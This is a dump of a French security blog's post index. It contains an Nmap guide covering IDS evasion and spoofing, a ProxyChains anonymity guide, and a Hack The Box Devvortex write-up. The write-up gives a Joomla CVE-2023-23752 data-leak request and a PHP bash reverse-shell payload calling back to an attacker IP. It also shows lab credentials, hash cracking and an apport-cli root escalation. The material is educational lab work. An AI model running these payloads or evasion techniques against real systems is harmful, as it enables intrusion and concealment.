un délai de 5 minutes entre chaque test. Utilisé pour des scans extrêmement furtifs. -T1 (sneaky) : Ajoute un délai de 15 secondes entre chaque test. -T2 (polite) : Réduit le délai à 0,4 seconde, tout en restant discret. -T3 (normal) : Niveau par défaut, équilibrant vitesse et utilisation des ressources. -T4 (aggressive) : Optimise le scan pour une vitesse accrue tout en limitant l\u0026rsquo;impact réseau, adapté pour des scans relativement rapides sans trop de risques. -T5 (insane) : Utilise toutes les ressources disponibles pour un scan aussi rapide que possible. Ce niveau est le plus rapide mais aussi le plus intrusif, présentant des risques accrus de détection et de perturbation. V- Firewall/IDS: Options de Masquage et de Fragmentation dans Nmap # Nmap offre des fonctionnalités avancées pour contourner les systèmes de sécurité tels que les pare-feu et les systèmes de détection d\u0026rsquo;intrusion (IDS). Voici quelques-unes des principales options que vous pouvez utiliser pour améliorer la discrétion de vos scans.\nFragmentation des Paquets # Option -f : Cette option permet de fragmenter les paquets envoyés lors du scan. Par défaut, Nmap divise les paquets en morceaux de 8 octets après l\u0026rsquo;en-tête. Si vous souhaitez spécifier une taille de fragment différente, vous pouvez utiliser l\u0026rsquo;option ..mtu, tout en veillant à ce que le décalage soit un multiple de 8. Il est important de noter que la fragmentation n\u0026rsquo;est pas prise en charge par les scanners de version et les scripts Nmap. Masquage d\u0026rsquo;Adresse IP # Masquage d\u0026rsquo;Adresse avec -D :\nSyntaxe : -D decoy1,decoy2,ME Cette option permet à Nmap d\u0026rsquo;envoyer des scans en utilisant d\u0026rsquo;autres adresses IP comme origine, ce qui aide à dissimuler votre adresse IP réelle. En ajoutant ME à la liste, vous indiquez à Nmap que vous souhaitez inclure votre adresse IP. Il est recommandé de positionner 5 à 6 adresses IP fictives avant la vôtre pour obtenir un masquage optimal. Vous pouvez également générer des adresses IP aléatoires à l\u0026rsquo;aide de l\u0026rsquo;option RND:«nombre», où «nombre» représente le nombre d\u0026rsquo;adresses IP à générer. Il est à noter que ces adresses ne fonctionneront pas avec la détection de versions sans connexion TCP. Sur un réseau, il est conseillé d\u0026rsquo;utiliser des adresses IP qui sont actives ; sinon, il sera facile de déterminer que vous êtes l\u0026rsquo;unique hôte actif. Utilisation d\u0026rsquo;adresses IP aléatoires :\nPar exemple, vous pouvez exécuter la commande suivante pour utiliser des adresses IP aléatoires lors d\u0026rsquo;un scan : nmap -D RND:10 Ip_cible Spécification de l\u0026rsquo;Adresse Source et Options Réseau dans Nmap # Nmap offre une variété d\u0026rsquo;options pour spécifier des adresses IP, sélectionner des interfaces réseau et configurer des paquets, ce qui permet d\u0026rsquo;adapter les scans à différents environnements et besoins.\nSpécification de l\u0026rsquo;Adresse Source # Option -S IP : Cette option permet de définir l\u0026rsquo;adresse IP source des paquets envoyés par Nmap. Elle est particulièrement utile lorsque Nmap ne parvient pas à détecter automatiquement votre adresse IP ou lorsque vous souhaitez faire croire qu\u0026rsquo;un autre hôte réalise le scan. Sélection de l\u0026rsquo;Interface Réseau # Option -e «interface» : Cette option permet de sélectionner l\u0026rsquo;interface réseau spécifique à utiliser pour le scan. Pratiques de Sécurité # Il est bon de noter que certains administrateurs réseau préfèrent laisser de nombreux ports ouverts, tels que les ports DNS ou FTP par exemple, plutôt que de rechercher des solutions alternatives. Cela peut exposer le réseau à des vulnérabilités. Pour explorer ces failles potentielles, Nmap propose des options telles que --source-port «numéro de port» et -g «numéro de port», qui sont équivalentes et permettent d\u0026rsquo;exploiter ces ports.\nVI- Options Avancées pour les Paquets # --data «chaîne hexadécimale» : Permet d\u0026rsquo;envoyer des données sous forme de texte en utilisant le format hexadécimal.\n--data-string «chaîne» : Permet d\u0026rsquo;envoyer des données sous forme de texte normal.\n--data-length «nombre» : Spécifie la longueur des données à envoyer. Nmap enverra uniquement les en-têtes et ajoutera un nombre spécifié d\u0026rsquo;octets supplémentaires de manière aléatoire.\n--ip-options : Utilisez cette option pour configurer entièrement les options du paquet IP.\n--packet-trace : Affiche les informations sur les paquets envoyés et reçus, ce qui peut être utile pour le débogage.\n--ttl «valeur» : Permet de spécifier la valeur TTL (Time to Live) des paquets envoyés.\n--randomize-hosts : Rend le scan moins évident en randomisant l\u0026rsquo;ordre des cibles, ce qui contribue à dissimuler les activités.\n--spoof-mac «adresse MAC, préfixe ou nom de fournisseur» : Change l\u0026rsquo;adresse MAC utilisée lors du scan, en spécifiant une adresse MAC, un préfixe ou le nom d\u0026rsquo;un fournisseur.\n--proxies «liste d'URL de proxy séparées par des virgules» : Utilisez cette option pour effectuer des scans à travers des proxys. Notez qu\u0026rsquo;un proxy peut ne pas maintenir autant de connexions ouvertes que Nmap le désire ; par conséquent, il peut être nécessaire de modifier le parallélisme avec l\u0026rsquo;option --max-parallelism.\n-sP : Utilisez cette option pour découvrir les hôtes dans un réseau à l\u0026rsquo;aide de l\u0026rsquo;ARP (Address Resolution Protocol).\nVII- Options de Sortie dans Nmap # Nmap propose plusieurs options pour personnaliser la sortie des résultats de scan. Ces options permettent de stocker les données dans différents formats, facilitant ainsi l\u0026rsquo;analyse ultérieure ou l\u0026rsquo;intégration dans d\u0026rsquo;autres outils.\nOptions de Sortie # -oN file : Génère une sortie normale dans le fichier spécifié, offrant une vue lisible et structurée des résultats.\n-oX file : Produit une sortie au format XML dans le fichier spécifié, idéale pour les traitements automatisés et l\u0026rsquo;intégration avec d\u0026rsquo;autres outils d\u0026rsquo;analyse.\n-oS file : Crée une sortie conçue pour les utilisateurs peu expérimentés (souvent appelés \u0026ldquo;script kiddies\u0026rdquo;), facilitant la compréhension des résultats.\n-oG file : Produit une sortie au format greppable, permettant une recherche facile et rapide à l\u0026rsquo;aide d\u0026rsquo;outils de ligne de commande.\n-oA file : Génère toutes les sorties, sauf celle destinée aux script kiddies, dans le fichier spécifié. Cela inclut les formats normal, XML et greppable.\nOptions de Verbosité et de Débogage # -v level : Définit le niveau de verbosité de la sortie, permettant d\u0026rsquo;ajuster la quantité d\u0026rsquo;informations affichées pendant le scan.\n-d level : Spécifie le niveau de débogage, fournissant des détails supplémentaires sur le fonctionnement interne de Nmap, ce qui peut être utile pour résoudre des problèmes.\nOptions d\u0026rsquo;Affichage d\u0026rsquo;État et de Statistiques # --reason : Affiche la raison derrière l\u0026rsquo;état de chaque hôte, fournissant un contexte pour les résultats du scan.\n--stats-every time : Affiche les statistiques à intervalles réguliers pendant l\u0026rsquo;exécution du scan, permettant de suivre l\u0026rsquo;évolution du processus.\n--packet-trace : Montre les paquets envoyés et reçus, ce qui peut être utile pour le débogage ou pour mieux comprendre le comportement du scan.\n--open : Affiche uniquement les ports ouverts et leur état, facilitant ainsi la concentration sur les éléments importants des résultats.\n--resume file : Permet de reprendre une analyse à partir d\u0026rsquo;un fichier de reprise, ce qui est particulièrement utile pour les scans longs ou complexes.\nNmap propose un ensemble d\u0026rsquo;options supplémentaires qui améliorent la flexibilité et la fonctionnalité du scan. Ces options permettent d\u0026rsquo;adapter Nmap à des environnements variés et de répondre à des besoins spécifiques.\nVIII- Options Diverses # -6 : Active la prise en charge du protocole IPv6, permettant ainsi d\u0026rsquo;analyser des cibles utilisant ce protocole.\n-A : Exécute un ensemble de fonctionnalités avancées, équivalent à la combinaison de -O (détection du système d\u0026rsquo;exploitation), -sV (détection de version), -sC (exécution des scripts par défaut) et --traceroute (détermination du chemin vers l\u0026rsquo;hôte).\nModification des Options en Cours d\u0026rsquo;Exécution # Nmap permet d\u0026rsquo;ajuster certaines options pendant l\u0026rsquo;exécution, offrant une plus grande interactivité et réactivité :\nv / V : Augmente ou diminue le niveau de verbosité, permettant de contrôler la quantité d\u0026rsquo;informations affichées pendant le scan.\nd / D : Augmente ou diminue le niveau de débogage, fournissant plus ou moins de détails sur le processus interne de Nmap.\np / P : Active ou désactive la traçabilité des paquets, ce qui peut être utile pour observer le comportement des paquets envoyés.\n? : Affiche une aide interactive, offrant un accès rapide aux commandes et options disponibles.\nIX- Nmap Vulnscan # Nmap inclut un ensemble de scripts Vulnscan qui analysent les versions des services détectées lors des scans. Ces scripts se réfèrent à une base de données hors ligne, contenant des informations cruciales sur les vulnérabilités potentielles associées aux versions de services identifiées.\nBases de Données Utilisées # Les scripts Vulnscan s\u0026rsquo;appuient sur plusieurs bases de données de vulnérabilités, que vous devez télécharger et ajouter au répertoire /usr/share/nmap/scripts/vulscan/ pour les utiliser efficacement. Voici les bases de données recommandées :\nScipvuldb.csv - http://www.scip.ch/en/?vuldb Cve.csv - http://cve.mitre.org Osvdb.csv - http://www.osvdb.org Securityfocus.csv - http://www.securityfocus.com/bid/ Securitytracker.csv - http://www.securitytracker.com Xforce.csv - http://xforce.iss.net Exploitdb.csv - http://www.exploit-db.com Openvas.csv - http://www.openvas.org Il est également nécessaire de télécharger les paquets des bases de données et de les ajouter à /usr/share/nmap/scripts/vulscan/.\nPour tirer parti de Nmap Vulnscan, vous pouvez utiliser les commandes suivantes :\nPour effectuer une analyse complète avec Vulnscan : sudo nmap -sV --script=vulscan \u0026lt;HOST\u0026gt; Pour utiliser une base de données spécifique : sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv \u0026lt;HOST\u0026gt; Ces commandes permettent de détecter les vulnérabilités connues sur les services en cours d\u0026rsquo;exécution sur l\u0026rsquo;hôte ciblé, facilitant ainsi l\u0026rsquo;évaluation de la sécurité.\nX- Accélérer l\u0026rsquo;analyse des services de Nmap x16 # Selon une étude publiée, il est possible d\u0026rsquo;accélérer considérablement l\u0026rsquo;analyse des services avec Nmap en ajustant certains paramètres dans le fichier de configuration /usr/share/nmap/nmap-service-probes. Pour ce faire, modifiez toutes les occurrences de totalwaitms à 300 millisecondes et de tcpwrappedms à 200 millisecondes.\nPar ailleurs, les sondes qui ne possèdent pas de valeur servicewaitms définie utilisent par défaut une valeur de 5000 millisecondes. Pour optimiser davantage les performances, vous pouvez soit attribuer des valeurs spécifiques à chacune des sondes, soit compiler Nmap vous-même en modifiant la valeur par défaut dans le fichier service_scan.h.\nSi vous préférez ne pas modifier les valeurs totalwaitms et tcpwrappedms dans /usr/share/nmap/nmap-service-probes, une autre solution consiste à adapter le code d\u0026rsquo;analyse de Nmap pour ignorer complètement ces valeurs lors de l\u0026rsquo;exécution.\nEn conclusion, Nmap est un outil essentiel pour les professionnels de la cybersécurité, et offre une vaste gamme de fonctionnalités pour l\u0026rsquo;analyse des réseaux, la détection des services et l\u0026rsquo;identification des vulnérabilités. En exploitant ses options flexibles et en ajustant les paramètres d\u0026rsquo;analyse, les utilisateurs peuvent non seulement accélérer le processus de découverte, mais également garantir une approche sécurisée. Que ce soit pour des audits de sécurité, des tests de pénétration ou le dépannage réseau, Nmap demeure un allié précieux dans la construction d\u0026rsquo;une infrastructure informatique robuste face à des menaces en constante évolution.\n","date":"23 septembre 2023","externalUrl":null,"permalink":"/posts/nmap-guide/","section":"Posts","summary":"Nmap, abréviation de \u003cem\u003eNetwork Mapper\u003c/em\u003e, est un outil polyvalent et puissant qui peux se montrer utile autant pour un particulier q\u0026rsquo;un professionnel de la sécurité informatique cherchant à analyser, explorer et sécuriser\u0026hellip;","title":"Nmap Guide","type":"posts"},{"content":"","date":"23 septembre 2023","externalUrl":null,"permalink":"/series/tools--techniques/","section":"Series","summary":"","title":"Tools \u0026 Techniques","type":"series"},{"content":"","date":"20 septembre 2023","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"CTF","type":"tags"},{"content":"","date":"20 septembre 2023","externalUrl":null,"permalink":"/tags/cve-2023-1326/","section":"Tags","summary":"","title":"CVE-2023-1326","type":"tags"},{"content":"","date":"20 septembre 2023","externalUrl":null,"permalink":"/tags/cve-2023-23752/","section":"Tags","summary":"","title":"CVE-2023-23752","type":"tags"},{"content":" Introduction # Dans cette machine Easy de Hack The Box, l\u0026rsquo;objectif est de passer de l\u0026rsquo;énumération web à une compromission complète du système.\nChaîne d\u0026rsquo;attaque résumée:\nDécouverte de dev.devvortex.htb Identification de Joomla vulnérable à CVE-2023-23752 Récupération de secrets + identifiants Exécution de code via panneau admin Joomla Extraction d\u0026rsquo;un hash utilisateur depuis MySQL et crack du mot de passe Connexion SSH en tant que logan Escalade root via apport-cli (CVE-2023-1326) Enumeration # Scan des ports # nmap -p- --min-rate 10000 -T4 10.10.11.242 nmap -sC -sV -p22,80 10.10.11.242 Services observés:\n22/tcp: OpenSSH 80/tcp: nginx VHost et sous-domaine # Le site redirige vers devvortex.htb, donc on ajoute:\n10.10.11.242 devvortex.htb Recherche de sous-domaines virtuels:\ngobuster vhost -u http://devvortex.htb \\ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\ -t 20 -k Résultat utile: dev.devvortex.htb\nAjout hosts:\n10.10.11.242 devvortex.htb dev.devvortex.htb Joomla et CVE-2023-23752 # Sur dev.devvortex.htb, on identifie Joomla (ex: /readme.txt, /administrator).\nLa vulnérabilité CVE-2023-23752 permet d\u0026rsquo;accéder à des informations sensibles via une API exposée.\ncurl -s \u0026#34;http://dev.devvortex.htb/api/index.php/v1/config/application?public=true\u0026#34; | jq On récupère notamment des secrets de configuration et des informations qui facilitent la suite (dont des credentials valides vus dans plusieurs writeups publics).\nExemple d\u0026rsquo;identifiants récupérés:\nlewis:P4ntherg0t1n5r3c0n## Accès initial: www-data via Joomla Admin # Connexion à l\u0026rsquo;admin Joomla:\nhttp://dev.devvortex.htb/administrator Après authentification, plusieurs méthodes sont possibles pour obtenir une exécution de commande:\nmodification d\u0026rsquo;un template PHP existant upload d\u0026rsquo;une extension/plugin malveillante Exemple minimal de payload PHP reverse shell:\n\u0026lt;?php exec(\u0026#34;/bin/bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.6/4444 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34;); ?\u0026gt; Listener côté attaquant:\nnc -lvnp 4444 Une fois le callback reçu:\nscript /dev/null -c /bin/bash export TERM=xterm On confirme le contexte:\nid # uid=33(www-data) gid=33(www-data) Mouvement latéral vers logan # Depuis www-data, on exploite les infos de connexion DB Joomla.\nmysql -u lewis -p # password: P4ntherg0t1n5r3c0n## Dans MySQL:\nshow databases; use joomla; show tables; select username,password from sd4fg_users; On récupère un hash bcrypt pour logan. Ensuite on le crack offline:\njohn --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt logan.hash Le mot de passe trouvé dans de nombreux writeups publics est:\ntequieromucho Connexion SSH:\nssh logan@10.10.11.242 Puis récupération user flag:\ncat ~/user.txt Privilege Escalation root (CVE-2023-1326) # Vérification sudo:\nsudo -l Sortie clé:\n(ALL : ALL) /usr/bin/apport-cli La version vulnérable de apport-cli permet d\u0026rsquo;obtenir une exécution de commande root via son flux interactif (CVE-2023-1326).\nLancement:\nsudo /usr/bin/apport-cli -f Selon le scénario, il faut sélectionner un rapport crash puis utiliser l\u0026rsquo;option qui ouvre un pager/éditeur et exécuter:\n!/bin/bash On obtient alors un shell root:\nwhoami # root cat /root/root.txt Conclusion # Cette machine illustre une chaîne d\u0026rsquo;attaque réaliste et propre:\nsurface web Joomla exposée data disclosure critique (CVE-2023-23752) exécution de code via interface admin récupération de secrets DB et pivot utilisateur élévation root via binaire sudo mal sécurisé/vulnérable (apport-cli, CVE-2023-1326) Points défensifs importants:\npatch management strict des CMS et dépendances système isolation des secrets applicatifs durcissement des droits sudo supervision des accès admin web et des exécutions anormales ","date":"20 septembre 2023","externalUrl":null,"permalink":"/posts/htb-devvortex/","section":"Posts","summary":"Dans ce challenge Hack The Box, on exploite Joomla (CVE-2023-23752) pour obtenir des secrets applicatifs, puis on enchaine vers un accès utilisateur et une élévation de privilèges root via apport-cli (CVE-2023-1326).","title":"Devvortex (HTB)","type":"posts"},{"content":"","date":"20 septembre 2023","externalUrl":null,"permalink":"/tags/hackthebox/","section":"Tags","summary":"","title":"HackTheBox","type":"tags"},{"content":"","date":"20 septembre 2023","externalUrl":null,"permalink":"/tags/joomla/","section":"Tags","summary":"","title":"Joomla","type":"tags"},{"content":"","date":"19 août 2023","externalUrl":null,"permalink":"/tags/network/","section":"Tags","summary":"","title":"Network","type":"tags"},{"content":"","date":"19 août 2023","externalUrl":null,"permalink":"/tags/proxychains/","section":"Tags","summary":"","title":"Proxychains","type":"tags"},{"content":"Dans le domaine de la cybersécurité et des tests de pénétration (pentesting), l\u0026rsquo;anonymat en ligne est crucial. Les professionnels de la cybersécurité utilisent des outils comme ProxyChains pour masquer leur identité et contourner les restrictions géographiques. ProxyChains permet de rediriger le trafic à travers une série de serveurs proxy, rendant le traçage de l\u0026rsquo;origine du trafic extrêmement difficile. Cet article explore en profondeur l\u0026rsquo;utilisation de ProxyChains, de son installation sur des distributions populaires comme Kali et Ubuntu, à son utilisation sur diverses plateformes, y compris Windows. Nous examinerons également ses différentes applications, allant de la simple confidentialité à des scénarios plus complexes impliquant SSH et Metasploit.\nTable des matières # Introduction à ProxyChains Applications de ProxyChains en Cybersécurité Comparaison entre ProxyChains et ProxyChains-ng Installation de ProxyChains sur Kali Installation de ProxyChains sur Ubuntu Utilisation de ProxyChains Intégration de ProxyChains avec Tor Considérations pour l\u0026rsquo;utilisation de ProxyChains Conclusion Introduction à ProxyChains # Avant de plonger dans les détails de ProxyChains, il est important de comprendre le concept de proxy.\nQu\u0026rsquo;est-ce qu\u0026rsquo;un Proxy ? # Un proxy est un serveur intermédiaire qui agit comme une passerelle entre un utilisateur et Internet. Par exemple, lorsque vous visitez un site web comme google.com, au lieu d\u0026rsquo;envoyer directement les paquets au serveur de Google, vous les envoyez d\u0026rsquo;abord au proxy, qui les transmet ensuite à Google. Ce mécanisme permet au serveur de destination de voir les informations du proxy plutôt que celles de l\u0026rsquo;utilisateur, offrant ainsi une confidentialité accrue.\nQu\u0026rsquo;est-ce que ProxyChains ? # ProxyChains améliore ce concept en utilisant plusieurs serveurs proxy en chaîne. Le trafic part de votre machine, passe par plusieurs serveurs proxy avant d\u0026rsquo;atteindre la destination finale, rendant le traçage de votre adresse IP d\u0026rsquo;origine beaucoup plus difficile. ProxyChains supporte l\u0026rsquo;intégration avec Tor, SOCKS et les proxys HTTP, permettant une flexibilité et une sécurité accrues lors de la navigation sur Internet. Il peut également être configuré pour fonctionner avec des applications telles que Nmap et SQLmap.\nApplications de ProxyChains en Cybersécurité # ProxyChains est souvent utilisé dans le cadre de tests de pénétration ou de red teaming pour masquer l\u0026rsquo;origine du trafic et simuler des accès depuis différentes localisations ou adresses IP. En enchaînant plusieurs proxies, y compris des systèmes compromis, les red teamers peuvent mieux dissimuler leurs mouvements au sein d\u0026rsquo;un réseau, rendant leur détection plus difficile. De plus, il est possible de contourner des pare-feux restrictifs pour accéder à des ressources bloquées.\nComparaison entre ProxyChains et ProxyChains-ng # ProxyChains-ng, ou \u0026ldquo;next generation\u0026rdquo;, est une version améliorée du projet ProxyChains. Il propose des fonctionnalités avancées et une meilleure compatibilité. ProxyChains-ng est un programme UNIX qui intercepte les fonctions libc liées au réseau dans des programmes liés dynamiquement via une DLL préchargée. Il redirige les connexions via des proxies SOCKS4a/5 ou HTTP et supporte uniquement le protocole TCP.\nInstallation de ProxyChains sur Kali # ProxyChains-ng est préinstallé sur Kali. Pour vérifier son installation, entrez la commande:\nproxychains4 Installation de ProxyChains sur Ubuntu # ProxyChains-ng n\u0026rsquo;est pas installé par défaut sur Ubuntu, mais peut être installé en suivant ces étapes :\nMettez à jour vos dépôts 😀 sudo apt update -y Installez ProxyChains-ng : sudo apt install proxychains4 Vérifiez l\u0026rsquo;installation en entrant : proxychains4 Utilisation de ProxyChains # Pour utiliser ProxyChains, vous devez d\u0026rsquo;abord configurer le fichier de configuration de ProxyChains pour y ajouter vos proxies. Ouvrez le fichier de configuration avec un éditeur de texte :\nsudo nano /etc/proxychains4.conf Ajoutez vos proxies à la fin du fichier en utilisant le format \u0026lt;protocole\u0026gt; \u0026lt;IP\u0026gt; \u0026lt;port\u0026gt;. Vous pouvez également configurer la manière dont ProxyChains utilise la liste des proxies (chaînes dynamiques, strictes, round-robin, ou aléatoires).\nIntégration de ProxyChains avec Tor # Tor (The Onion Router) permet une communication anonyme sur Internet en faisant transiter le trafic à travers plusieurs serveurs opérés par des bénévoles à travers le monde.\nUtilisation de Tor et ProxyChains # Installation de Tor sudo apt install tor Démarrage du service Tor sudo service tor start Assurez-vous que le fichier de configuration de ProxyChains utilise le proxy SOCKS sur le port 9050 (port par défaut de Tor). Ensuite, lancez votre navigateur via ProxyChains :\nproxychains4 firefox Considérations pour l\u0026rsquo;utilisation de ProxyChains # Pour maximiser l\u0026rsquo;anonymat avec ProxyChains, il est crucial de choisir des proxies fiables et anonymes situés dans différentes régions géographiques. Des listes de proxies gratuits sont disponibles sur des sites comme GitHub, mais il est recommandé de les tester régulièrement pour éviter les proxies défaillants. Des services payants comme Webshare offrent des proxies fiables et anonymes.\nConclusion # ProxyChains est un outil puissant pour améliorer l\u0026rsquo;anonymat en ligne et contourner les restrictions géographiques. Que vous soyez un professionnel de la cybersécurité ou un utilisateur soucieux de sa confidentialité, ProxyChains offre une flexibilité et une sécurité accrues pour vos activités en ligne. Explorez ses différentes fonctionnalités pour voir comment il peut répondre à vos besoins.\nFoire Aux Questions # ProxyChains est-il meilleur qu\u0026rsquo;un VPN ? # Chaque solution a ses avantages. Les VPN encryptent votre trafic via un tunnel, tandis que ProxyChains redirige simplement le trafic à travers plusieurs proxies. Les VPN offrent un niveau de sécurité et de confidentialité plus élevé, mais pas nécessairement l\u0026rsquo;anonymat, puisque le fournisseur de VPN connaît votre identité.\nProxyChains est-il préinstallé sur Kali ? # Oui, Kali inclut ProxyChains par défaut. Vous pouvez le vérifier avec la commande proxychains4.\nPourquoi les hackers utilisent-ils des serveurs proxy ? # Les hackers utilisent des serveurs proxy pour masquer leur adresse IP et leur localisation, rendant leur traçabilité difficile.\nQuelle est la différence entre Tor et ProxyChains ? # Tor crypte le trafic entre chaque relais de son réseau, tandis que ProxyChains ne fournit pas de cryptage, comptant sur les serveurs proxy pour sécuriser le trafic.\n","date":"19 août 2023","externalUrl":null,"permalink":"/posts/proxychains/","section":"Posts","summary":"Dans le domaine de la cybersécurité et des tests de pénétration (pentesting), l\u0026rsquo;anonymat en ligne est crucial. Les professionnels de la cybersécurité utilisent des outils comme ProxyChains pour masquer leur identité et contourner les restrictions géographiques.","title":"Proxychains Guide","type":"posts"},{"content":" Crispus Houessou-Adin # Administrateur sécurité réseau · CTF player · Passionné de cybersécurité\nJe suis basé à Paris, France, et je prépare actuellement un Master en Cybersécurité et Cloud. Mon travail se situe entre sécurité réseau, sécurité défensive, sécurité offensive, labs pratiques et recherche technique continue.\nJe me concentre sur la sécurisation d\u0026rsquo;environnements réseau tout en renforçant mes compétences offensives à travers la pratique du pentest, Hack The Box, l\u0026rsquo;analyse de vulnérabilités et les writeups techniques.\nCe que je fais # Domaine Focus Sécurité réseau Durcissement, supervision, segmentation, administration sécurisée Sécurité offensive Reconnaissance, exploitation, élévation de privilèges, méthodologie post-exploitation CTF et labs Machines Hack The Box, documentation de labs, analyse de chemins d\u0026rsquo;attaque Recherche vulnérabilité Analyse CVE, revue de PoC, recommandations de remédiation Purple Teaming Détection, simulation d\u0026rsquo;attaque, environnements SIEM Rédaction technique Writeups CTF, guides d\u0026rsquo;outils, notes cyber, analyses d\u0026rsquo;exploits Liens # GitHub LinkedIn Portfolio ","date":"22 février 2023","externalUrl":null,"permalink":"/fr/about/","section":"Raizen | Blog","summary":"Crispus Houessou-Adin # Administrateur sécurité réseau · CTF player · Passionné de cybersécurité\nJe suis basé à Paris, France, et je prépare actuellement un Master en Cybersécurité et Cloud. Mon travail se situe entre sécurité réseau, sécurité défensive, sécurité offensive, labs pratiques et recherche technique continue.","title":"À propos","type":"page"},{"content":"","externalUrl":null,"permalink":"/fr/posts/","section":"Articles","summary":"","title":"Articles","type":"posts"},{"content":"","externalUrl":null,"permalink":"/fr/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/fr/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"Pentesteur Junior | Analyste SOC en devenir\nPassionné par la cybersécurité offensive \u0026amp; défensive\n📍 Aulnay-sous-bois, France\n📧 houessoucrispus@gmail.com\n🌐 linkedin\nCompétences Pentesting (Nmap, Burp Suite, Nikto, Nessus) Méthodologies \u0026amp; Référentiels : MITRE ATT\u0026amp;CK, Kill Chain, OWASP Top 10 Sécurité Cloud (concepts fondamentaux, bonnes pratiques AWS/Azure) Analyse de risques \u0026amp; sécurité réseau SIEM \u0026amp; Monitoring (Wazuh, ELK Stack, analyse de logs, gestion des alertes) Expérience Professionnelle Technicien Réseaux \u0026amp; Systèmes — Imperial Pictures 11/2022 – 09/2023\nSurveillance du SI et traitement des incidents de niveau 1 Déploiement \u0026amp; sécurisation des postes (antivirus, durcissement, mises à jour) Sensibilisation à la cybersécurité (phishing, ransomware, bonnes pratiques) Technicien Sécurité Réseaux \u0026amp; Systèmes — DIGIT S.A.R.L 02/2022 – 09/2022\nSupervision sécurité via SIEM et journaux système Analyse d’incidents, rédaction de rapports, mesures correctives Sensibilisation des utilisateurs aux menaces courantes Formation Master Cybersécurité \u0026amp; Cloud - IPSSI Paris Licence Système Réseaux \u0026amp; Sécurité — ESGIS, Bénin Baccalauréat Scientifique — COL. Cath. Hibiscus Certifications Certified Cybersecurity (CC) – (ISC)² Junior Pentester Certificate (EJPT) – INE Security Certified Network Security Practitioner (CNSP) – Secops Group INE Certified Cloud Associate (ICCA) – INE Security Certified Cloud Security Practitioner - AWS (CCSP-AWS) – Secops Group Projets Découvrez mes projets en cybersécurité offensive et défensive sur la page dédiée :\n➡️ Accéder au portfolio\n","externalUrl":null,"permalink":"/resume/","section":"Raizen | Blog","summary":"Pentesteur Junior | Analyste SOC en devenir\nPassionné par la cybersécurité offensive \u0026amp; défensive\n📍 Aulnay-sous-bois, France\n📧 houessoucrispus@gmail.com\n🌐 linkedin\nCompétences Pentesting (Nmap, Burp Suite, Nikto, Nessus) Méthodologies \u0026amp; Référentiels : MITRE ATT\u0026amp;CK, Kill Chain, OWASP Top 10 Sécurité Cloud (concepts fondamentaux, bonnes pratiques AWS/Azure) Analyse de risques \u0026amp; sécurité réseau SIEM \u0026amp; Monitoring (Wazuh, ELK Stack, analyse de logs, gestion des alertes) Expérience Professionnelle Technicien Réseaux \u0026amp; Systèmes — Imperial Pictures 11/2022 – 09/2023","title":"Mon CV","type":"page"},{"content":"","externalUrl":null,"permalink":"/fr/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","externalUrl":null,"permalink":"/fr/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"}]